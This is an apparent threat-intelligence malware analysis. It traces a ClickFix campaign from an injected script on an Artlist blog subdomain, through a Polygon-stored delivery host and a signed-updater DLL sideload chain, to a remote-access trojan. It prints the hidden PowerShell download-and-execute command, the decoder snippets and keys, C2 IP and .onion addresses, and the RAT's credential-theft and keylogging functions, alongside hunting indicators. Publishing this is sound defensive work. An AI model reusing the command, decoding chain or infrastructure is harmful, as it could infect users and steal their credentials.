On July 13, 2026, new-blog.artlist[.]io served an obfuscated script at the top of its HTML. The primary artlist[.]io site was clean when checked. The injected code queried a Polygon smart contract, recovered auth-code-check[.]info, and loaded a fake reCAPTCHA page that instructed visitors to paste a PowerShell command into Windows Terminal.
That familiar ClickFix opening led to an unusually deep Windows chain. The PowerShell downloaded a password-protected 31 MB archive containing a signed StruSoft/FEM-Design updater and a local DLL bundle. Loading the updater reached LibBind.dll, which decoded shellcode from Stream.Toolkit.dat and executed it through an EnumTimeFormatsEx callback. The shellcode then parsed a custom 1,178-record store in Face.dat, recovered a Delphi loader named act.exe, decrypted an embedded ZIP, and handed control to another position-independent loader. That stage decoded and manually mapped the final PE32+ DLL.
The last DLL is a full remote-access payload. Its mapped command paths cover browser-store collection, protected outbound reporting, resumable file transfer, process control, shell commands, remote desktop, keylogging, clipboard access, SOCKS bridging, service installation, and in-memory PE delivery. Its endpoint scheduler can rotate between a C2-supplied direct table, four embedded IPv4 fallbacks, and four .onion addresses reached through a dynamically delivered Tor module.
A controlled replay also exposed state in the delivery backend. An old archive token returned 410 Gone one second after its /p/<token> marker was called. A fresh token delivered the archive when requested before /p/. The marker is a strong candidate for consuming or closing delivery state, but the replay did not isolate it from token age, request history, source address, visitor ID, or timing.
This report follows the bytes from the injected page to the final native command surface. The recovered artifacts were analyzed statically. They were not executed.
This investigation was conducted with Hudson Rock (opens in new tab). Thank you to their team for the opportunity to work the case and publish these technical findings. Their companion report (opens in new tab) covers the infostealer evidence and credential-compromise context that led to the campaign's discovery.
Campaign overview
| Field | Value |
|---|---|
| Affected host | new-blog.artlist[.]io |
| Observed | July 13, 2026 |
| Delivery host | auth-code-check[.]info |
| Polygon contract | 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2 |
| Contract selector | 0xb68d1809 |
| Campaign token | fd31a7ad950e56856e09dcb32f0fc58caec1ad7da5c91b0a |
| Archive | fdupdate.zip, 32,713,067 bytes |
| Archive SHA-256 | 3a9b8eccad62d84fc59f86dae41e8c74ae6ae544f079b099b12b37de1abd7a60 |
| Archive password | Arsen33 |
| Launch file | fdupdate.exe |
| Final decoded DLL SHA-256 | 8035b177ca682962fd6501228ebd460ef174183ac08a87d81514bba3ecfd9502 |
The same injected script appeared at the top of multiple pages on the WordPress subdomain. That placement indicates an injection upstream of individual post content. A theme, plugin, tag manager, early rendering hook, CDN rule, edge worker, or publishing component could all produce that shape. The affected HTML proves broad placement on the observed subdomain; it does not identify the compromised component.
Chain overview
new-blog.artlist[.]io HTML
-> base64 + XOR 0x50 JavaScript wrapper
-> Polygon eth_call
-> auth-code-check[.]info/api.php?s=<campaign>&_v=<minute>
-> fake reCAPTCHA / ClickFix overlay
-> clipboard PowerShell
-> HTTPS /<16-hex ray>
-> HTTP /<16-hex ray>?_=1
-> 20-second delay
-> /7z + /<64-hex archive token>
-> password-protected fdupdate.zip
-> signed fdupdate.exe and local DLL chain
-> LibBind.dll
-> Stream.Toolkit.dat[0x4c26a:0x4c26a+0x533a3] XOR 0xe5
-> EnumTimeFormatsEx callback
-> custom Face.dat store
-> decoded script/config + act.exe
-> AES-256-CBC encrypted ZIP
-> raw x64 loader
-> embedded PE XOR 0x43 ^ (i & 0xff)
-> manually mapped native RAT DLL
The page keeps the host on-chain
The script inserted at the top of the page used a small decoder:
var blob = atob("...");
var key = 80;
var bytes = new Uint8Array(blob.length);
for (...) bytes[i] = blob.charCodeAt(i) ^ key;
(new Function(new TextDecoder().decode(bytes)))();
After base64 decoding, each byte is XORed with 0x50. TextDecoder turns the result into JavaScript and new Function executes it. The decoded loader sets a page-level guard before doing any network work:
if (window["_197515e445"]) return;
window["_197515e445"] = 1;
The loader does not carry the next-stage host directly. It sends an eth_call with selector 0xb68d1809 to Polygon contract 0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2. Eight Polygon RPC endpoints provide failover, including Tenderly, dRPC, QuickNode, 1RPC, Ankr, PublicNode, and Blast.
The contract returned:
hxxps://auth-code-check[.]info
The loader appended the campaign token and a minute-based cache buster:
hxxps://auth-code-check[.]info/api.php?s=fd31a7ad950e56856e09dcb32f0fc58caec1ad7da5c91b0a&_v=<floor(Date.now()/60000)>
That is the EtherHiding part of the chain. The compromised page stores the contract, selector, and RPC list. The contract stores the replaceable delivery host. Moving the next stage does not require another edit to the injected page.
ClickFix supplies the user execution
Two minute-versioned api.php responses had different wrapper hashes but decoded to the same 24 KB script structure. The wrapper's XOR key rotated between responses.
The decoded script creates a full-page Shadow DOM overlay that imitates reCAPTCHA. It localizes the prompt, blocks the context menu and common inspection shortcuts, and walks the visitor through Windows + X, Terminal, Ctrl + V, and Enter. A host- and campaign-specific localStorage key limits repeated display.
The script also creates a visitor ID, sends dl, cb, and check telemetry to api.php, and prefers AES-GCM-protected JSON before falling back to query parameters. The visible verification step is theater. The clipboard receives PowerShell:
powershell -w h "iex(irm 'auth-code-check[.]info/0492b50f7725358c' -UseBasicParsing)"; exit <#Verification ID: 0492b50f7725358c#>
The -w h option hides the PowerShell window. irm retrieves the ray-specific response and iex executes it.
The HTTPS ray response is another XOR-obfuscated PowerShell wrapper. It creates a WinHttp.WinHttpRequest.5.1 COM object and pivots to an explicit HTTP URL:
hxxps://auth-code-check[.]info/0492b50f7725358c
-> hxxp://auth-code-check[.]info/0492b50f7725358c?_=1
The second response unwraps the downloader. It waits 20 seconds, creates a random temporary directory, downloads 7z.exe, retrieves the archive, and extracts it with password Arsen33. It searches recursively for fdupdate.exe, calls Start-Process when it finds the file, deletes the archive, and finally requests /p/<archive-token>.
The fresh paths were:
hxxp://auth-code-check[.]info/7z
hxxp://auth-code-check[.]info/f6b98f07c7f130cb8f60967e8ebd7a7203f228bc6faafce6fb1d88166ca27a7d
hxxp://auth-code-check[.]info/p/f6b98f07c7f130cb8f60967e8ebd7a7203f228bc6faafce6fb1d88166ca27a7d
The /p/ request is unconditional after the launch block. It marks the attempt, not proven successful execution.
The archive token has state
The first archive replay failed because the request order did not match the downloader.
At 20:11:03 UTC, /p/<old-token> returned 200 ok. One second later, the archive endpoint returned 410 Gone. An action=check request later reported both fetched and consumed as true. Changing the User-Agent, scheme, query, and callback shape did not restore the old token.
A fresh browser registration produced a new ray and archive token. This time the replay preserved the 20-second delay, fetched /7z, requested the archive before /p/, and received the 32,713,067-byte ZIP.
action=dl
-> action=cb
-> HTTPS /<ray>
-> HTTP /<ray>?_=1
-> wait
-> /7z
-> /<archive token>
-> /p/<archive token>
No successful response in that sequence set a cookie. A failed .zip suffix variant alone returned 403 and set xdv_sess, which appears to be a separate denial route.
The replay proves that delivery was active and that the backend tracked request state. It does not prove that /p/ alone consumed the token. Token age, request history, source address, visitor ID, and timing remain possible inputs.
A signed updater opens the native chain
The archive contains 26 files totaling 79,248,355 bytes. The main executable is a signed StruSoft/FEM-Design updater:
| Artifact | Size | SHA-256 |
|---|---|---|
fdupdate.exe |
573,768 | d518964aa67c359d0a806909451130591e337276bea33b6d41ef79126904ca3a |
fdcadkernel.dll |
9,897,288 | 0c080d3b70beb766f522d0b48855ce5642665b9c77a5c1abb1f4530244e61d2d |
fdunderkernel.dll |
466,240 | 82193ac9cb7a933b421f9fa99d874e242285ab6f06d50b3cd81684f4f939c1b3 |
LibBind.dll |
45,056 | 2f592365de553d8bb023a9e11439c2e18dcbe84d22b0cd6025b043d7d9029ac7 |
MUITransferX64.dll |
31,232 | a30c6a042e65c8a94fdb08ffbc8c8328adaea929b5ab932ece91be53fbc19ec8 |
TBFVSS_DLL_SRV_64.dll |
28,160 | a7c94343b51643b7477ba2c7630b168ce3cb1f03126a85c39363e70742e3afb5 |
Stream.Toolkit.dat |
896,616 | 6bc18b6c6050bdd554c4a945838b8b3a35b5c5813b950cf5f2e822b2396718cf |
fdupdate.exe contains coherent updater code, a StruSoft mutex, references to fdupd.ini and version.ini, and normal WinINet update routines. The malicious behavior enters through its local dependency graph:
fdupdate.exe
-> fdcadkernel.dll
-> renderengine.dll
-> LibBind.dll
-> TBFVSS_DLL_SRV_64.dll
-> uv.dll
-> LoadLibraryW("MUITransferX64.dll")
renderengine.dll imports LibBind.dll::group_by_u. LibBind.dll also reaches the same function from a worker thread created during process attach.
`LibBind.dll` unwraps `Stream.Toolkit.dat`
The LibBind.dll entry point at 0x1800059cc reaches helper 0x180001328, which creates a thread at 0x180001a64. That thread calls group_by_u at 0x1800017e0 behind a one-time guard.
The loader opens Stream.Toolkit.dat, seeks to offset 0x4c26a, reads 0x533a3 bytes, and XORs every byte with 0xe5. The decoded 340,899-byte artifact has SHA-256:
a0812fec1c5051121c332d6add4f2b05df43e3190ceebfef29ca56d62ceca48d
TBFVSS_DLL_SRV_64.dll::data_process allocates 0x208000 bytes and initially fills the region with random data. LibBind.dll copies the decoded payload into an offset within that allocation. Export Ux changes the allocation to PAGE_EXECUTE_READ and passes the decoded pointer to EnumTimeFormatsEx as its callback.
The code is not hiding behind an exotic execution primitive. It is using a Windows enumeration API as a clean indirect call into decoded shellcode.
`Face.dat` is the second container
The decoded shellcode manually resolves APIs and searches module-derived paths for files with these extensions:
bak db bin dat raw pak
Candidates are passed to a custom storage validator with key 0x1b51b9fd. Face.dat is the file that passes.
Its table contains 1,178 records. The table begins at 0x78, uses a 0x58-byte stride, and ends at 0x19568. Record payloads follow in table order and consume the file exactly. Every record in this sample enables a reversible byte transform driven by metadata byte +0x23:
param = metadata_byte_0x23
if 6 < param < 0x28:
param = (param * 4 + 0x18) & 0xff
state = 6
for each payload byte:
state = (state * 3 + 5) & 0xff
byte ^= (param + state) & 0xff
Most records carry no payload or eight bytes. Two contain almost everything useful:
| Record | Tag | Length | Decoded content | SHA-256 |
|---|---|---|---|---|
4 |
16001 |
3,990 | UTF-16 script/config | 629518befad5153a2e8352e30f6a5169bac2c17329497678d5686cf15a0aacc9 |
1168 |
16100 |
7,896,064 | PE32+ act.exe |
75d4b6cec5bdc40cda25b5b9be136ccca97d77843825796beace7ddbfe87b614 |
The script waits two seconds, repeatedly repairs HKCU Run persistence every 125 seconds, repairs scheduled-task persistence every 675 seconds, loads the @input resource through previewer::load_exe, and then waits indefinitely. Both persistence records use the display/value string:
FEM Update Model Manager
The surrounding shellcode provides the interpreter behind that script. Its mapped command groups include HKCU and HKLM Run values, Startup-folder shortcuts, Windows services, Task Scheduler, native in-memory loading, CLR hosting, anti-VM checks, and timer queues. The embedded script selects only a subset for this sample. Capability in the interpreter is not the same as activation by the recovered script.
`act.exe` carries two more layers
Record 1168 decodes to an unsigned Delphi x64 executable reporting the name act.exe. Its entry path resolves CryptoAPI and decrypts an embedded blob at file offset 0x42670, length 0x592340.
The decryptor uses:
key seed: 36D6111FE68AE52A7B9E2095280EECAC
hash: MD5 through CryptoAPI
cipher: AES-256-CBC
IV: all zeroes
padding: PKCS#7
Static replay produced a valid ZIP containing one LZMA-compressed member:
| Layer | Size | SHA-256 |
|---|---|---|
| Encrypted blob | 5,841,728 | 72e4ecdbd5bfc150f9f43b8d9e04a07408f5da3bccda9c5080616c63d0f6067d |
| Decrypted ZIP | 5,841,713 | 87892ebf77e8a33a3423ec3272d269116f7c6de58c3c29bed71c2ae46de3f228 |
| Raw x64 member | 8,865,864 | 06157c24ed9ad3b2a639ca901deac6a29c26861ab5f6da31093247eadec9139a |
The raw member is a position-independent loader. It walks the PEB for kernel32.dll, resolves exports with a CRC-32-like hash, and decodes an embedded image at offset 0xc48. The loop processes 0x873c00 bytes with:
decoded[i] = encoded[i] ^ 0x43 ^ (i & 0xff)
That transform produces the final PE32+ DLL:
SHA-256: 8035b177ca682962fd6501228ebd460ef174183ac08a87d81514bba3ecfd9502
Image base: 0x400000
Entry point: 0x00b4e670
Export name: bad.dll
Exports: dbkFCallWrapperAddr, __dbk_fcall_wrapper,
TMethodImplementationIntercept, s
The raw loader allocates an RWX image, copies headers and sections, resolves imports, applies DIR64 relocations, registers unwind metadata with RtlAddFunctionTable, runs TLS callbacks, and calls the mapped DLL entry point.
From the injected page to this point, the chain has crossed six distinct decoding or loading boundaries. Each one removes useful metadata. The final DLL puts the behavior back on the table.
The final DLL is a remote-access payload
The DLL supports rundll32, regsvr32, service, and svchost-style startup. Its main worker can register a service table or create a hidden window. The window procedure at 0x00b46070 accepts encrypted WM_COPYDATA, validates a fixed 0x1c7-byte header, and dispatches internal commands.
Command 6 starts worker 0x00b4e470, which launches scheduler 0x00b2dd00. The scheduler rotates connection records across three endpoint families:
- Four direct
(IPv4, port)slots that can be replaced by C2 response0x800 / 1. - Four
.onion:443records reached through a local SOCKS5 listener after a Tor module is delivered and mapped. - Four generated direct IPv4 fallbacks.
A successful 0x119-byte record is cached and retried before the normal rotation.
Endpoint fallbacks
The initializer sets subtractor 0x43. Applying it to the encoded constants produces:
45[.]151[.]74[.]119:443
109[.]172[.]95[.]184:443
151[.]236[.]4[.]135:443
62[.]60[.]156[.]11:443
The Tor seeder writes four candidates:
aqpfkxxtvahlzr6vobt6fhj4riev7wxzoxwltbcysuybirygxzvp23ad[.]onion:443
t77e4phezpwqebpbhdagr26ewkfaxytscimhxofws4wcisjo4wundead[.]onion:443
vsjyfpt7vcd6atniefmz36ikxrqk5eyv573a2af4e2ntb437wdch63yd[.]onion:443
fejdqikkdwheckrutucbbyeovpdnef4bopz2fx636i67p3qpffpfxxad[.]onion:443
The Tor module is not embedded in the static DLL. A non-32-byte response to request 0xfd0 / 1 is stored as encrypted event type 9. Fallback worker 0x00b29780 retrieves that event, decrypts it, manually maps the returned PE, resolves tor_main, seeds the .onion records, and starts the local SOCKS listener. The default local port field is 0x235a.
Protected framing
The client sends a 0x94-byte protected outer header followed by a protected body. Before encryption, the header carries:
uint32 decoded_body_length
uint32 protected_body_length
uint8 codec_mode
For each protected body, the client generates a fresh AES-256 key, encrypts the data, wraps the AES key with the recipient RSA public key, and appends the wrapped material. The handshake generates a 1024-bit RSA exchange pair, sends the client public key under an embedded server key, and verifies a signed server response before marking the session active.
This establishes client-side encryption, framing, signature verification, and length bounds. It does not reveal how the server stores private keys or names fields internally.
Operator command surface
The network dispatcher at 0x00b1f010 reads its selector from command-frame offset +0x18. The mapped branches are:
| Selector | Static behavior |
|---|---|
1 |
Paired desktop/display and keyboard, mouse, and clipboard workers |
2 |
Local and network filesystem listing, recursive delete, overwrite-and-delete, directory creation, process launch, filtered search, and aggregate size/count |
3 |
Resumable file download from the victim and upload to the victim, both from peer-supplied offsets |
4 |
Process inventory, process termination, and cmd.exe /c with captured output |
5 |
Interactive screen streaming, window inventory, mouse and key control, clipboard transfer, program launch, and window close |
6 |
Bidirectional socket bridge plus SOCKS4/SOCKS5 CONNECT handling |
0x0b |
Alternate full-desktop stream with global mouse/keyboard injection and Unicode clipboard transfer |
0x33 |
Private-desktop remote-control subsystem using a C2-supplied endpoint |
0x34 |
Browser-store and endpoint-inventory collection with protected outbound reporting |
Selector 0x34 gives the clearest collection path. Worker 0x00b1dd80 emits tagged records for Chromium Web Data and Login Data, payment and autofill material, token-service data, Firefox-style cookies.sqlite, and host inventory. It then sends the fixed session context and serialized report over the protected mode-2 channel.
The static code proves that these stores are targeted, packaged, and sent. The exact recovered fields depend on the victim's browser state and host protections. This analysis did not demonstrate successful decryption of App-Bound or other host-protected browser secrets.
Other xref-backed paths install a WH_KEYBOARD_LL hook, read Unicode or ANSI clipboard contents, capture desktop images and AVI video, create auto-start services, and allocate and write memory in remote processes. PFXExportCertStoreEx and NCryptExportKey paths can export private-key-capable PFX material, but no activation route from the mapped command surface reaches that code. It remains capability without a recovered trigger.
Detection and hunting
Network
new-blog.artlist[.]ioobserved serving the injected script on July 13, 2026auth-code-check[.]infoauth-code-check[.]info/api.phpauth-code-check[.]info/7zauth-code-check[.]info/<16-hex ray>auth-code-check[.]info/<16-hex ray>?_=1auth-code-check[.]info/<64-hex archive token>auth-code-check[.]info/p/<64-hex archive token>45[.]151[.]74[.]119:443109[.]172[.]95[.]184:443151[.]236[.]4[.]135:44362[.]60[.]156[.]11:443aqpfkxxtvahlzr6vobt6fhj4riev7wxzoxwltbcysuybirygxzvp23ad[.]onion:443t77e4phezpwqebpbhdagr26ewkfaxytscimhxofws4wcisjo4wundead[.]onion:443vsjyfpt7vcd6atniefmz36ikxrqk5eyv573a2af4e2ntb437wdch63yd[.]onion:443fejdqikkdwheckrutucbbyeovpdnef4bopz2fx636i67p3qpffpfxxad[.]onion:443
Browser and script
- Polygon contract
0xB6bC9e1D0b2fB96Ab7C47E04Cb0BE477410bC1f2 - Selector
0xb68d1809 - Campaign token
fd31a7ad950e56856e09dcb32f0fc58caec1ad7da5c91b0a eth_callcombined with/api.php?s=atob,Uint8Array, XOR,TextDecoder, andnew Functionpowershell -w hWinHttp.WinHttpRequest.5.1Start-Sleep -Seconds 207z x -y -pArsen33
Host artifacts
fdupdate.zipfdupdate.exeLibBind.dllMUITransferX64.dllTBFVSS_DLL_SRV_64.dllStream.Toolkit.datFace.dat- Autorun display/value name
FEM Update Model Manager Stream.Toolkit.datoffset0x4c26a, length0x533a3, XOR key0xe5Face.datmagic/key0x1b51b9fdact.exekey seed36D6111FE68AE52A7B9E2095280EECAC- Final embedded PE offset
0xc48, length0x873c00, mask0x43 ^ (i & 0xff)
Key hashes
| Artifact | SHA-256 |
|---|---|
| Delivered archive | 3a9b8eccad62d84fc59f86dae41e8c74ae6ae544f079b099b12b37de1abd7a60 |
fdupdate.exe |
d518964aa67c359d0a806909451130591e337276bea33b6d41ef79126904ca3a |
LibBind.dll |
2f592365de553d8bb023a9e11439c2e18dcbe84d22b0cd6025b043d7d9029ac7 |
Decoded Stream.Toolkit.dat shellcode |
a0812fec1c5051121c332d6add4f2b05df43e3190ceebfef29ca56d62ceca48d |
Decoded Face.dat script |
629518befad5153a2e8352e30f6a5169bac2c17329497678d5686cf15a0aacc9 |
Decoded act.exe |
75d4b6cec5bdc40cda25b5b9be136ccca97d77843825796beace7ddbfe87b614 |
| Raw x64 loader | 06157c24ed9ad3b2a639ca901deac6a29c26861ab5f6da31093247eadec9139a |
| Final decoded DLL | 8035b177ca682962fd6501228ebd460ef174183ac08a87d81514bba3ecfd9502 |
Conclusion
The injected page is only the front door. Its EtherHiding loader keeps the replaceable delivery host in a Polygon contract, while the ClickFix overlay moves execution through the visitor's clipboard. The PowerShell backend then uses ray and archive tokens to deliver a signed updater bundle under request-state controls.
Inside the archive, the chain trades names and formats repeatedly: updater DLLs, an XOR slice in Stream.Toolkit.dat, a custom record store in Face.dat, a Delphi executable, an encrypted ZIP, raw position-independent code, and finally a manually mapped DLL. The layers are noisy. The handoffs are stable.
For hunting, chase those handoffs: the Polygon contract and selector, the auth-code-check[.]info ray/token grammar, password Arsen33, the LibBind.dll to Stream.Toolkit.dat offset and XOR, the Face.dat key, the act.exe AES seed, and the final 0x43 ^ index PE decode. Any one filename can move. That sequence is much harder to repaint.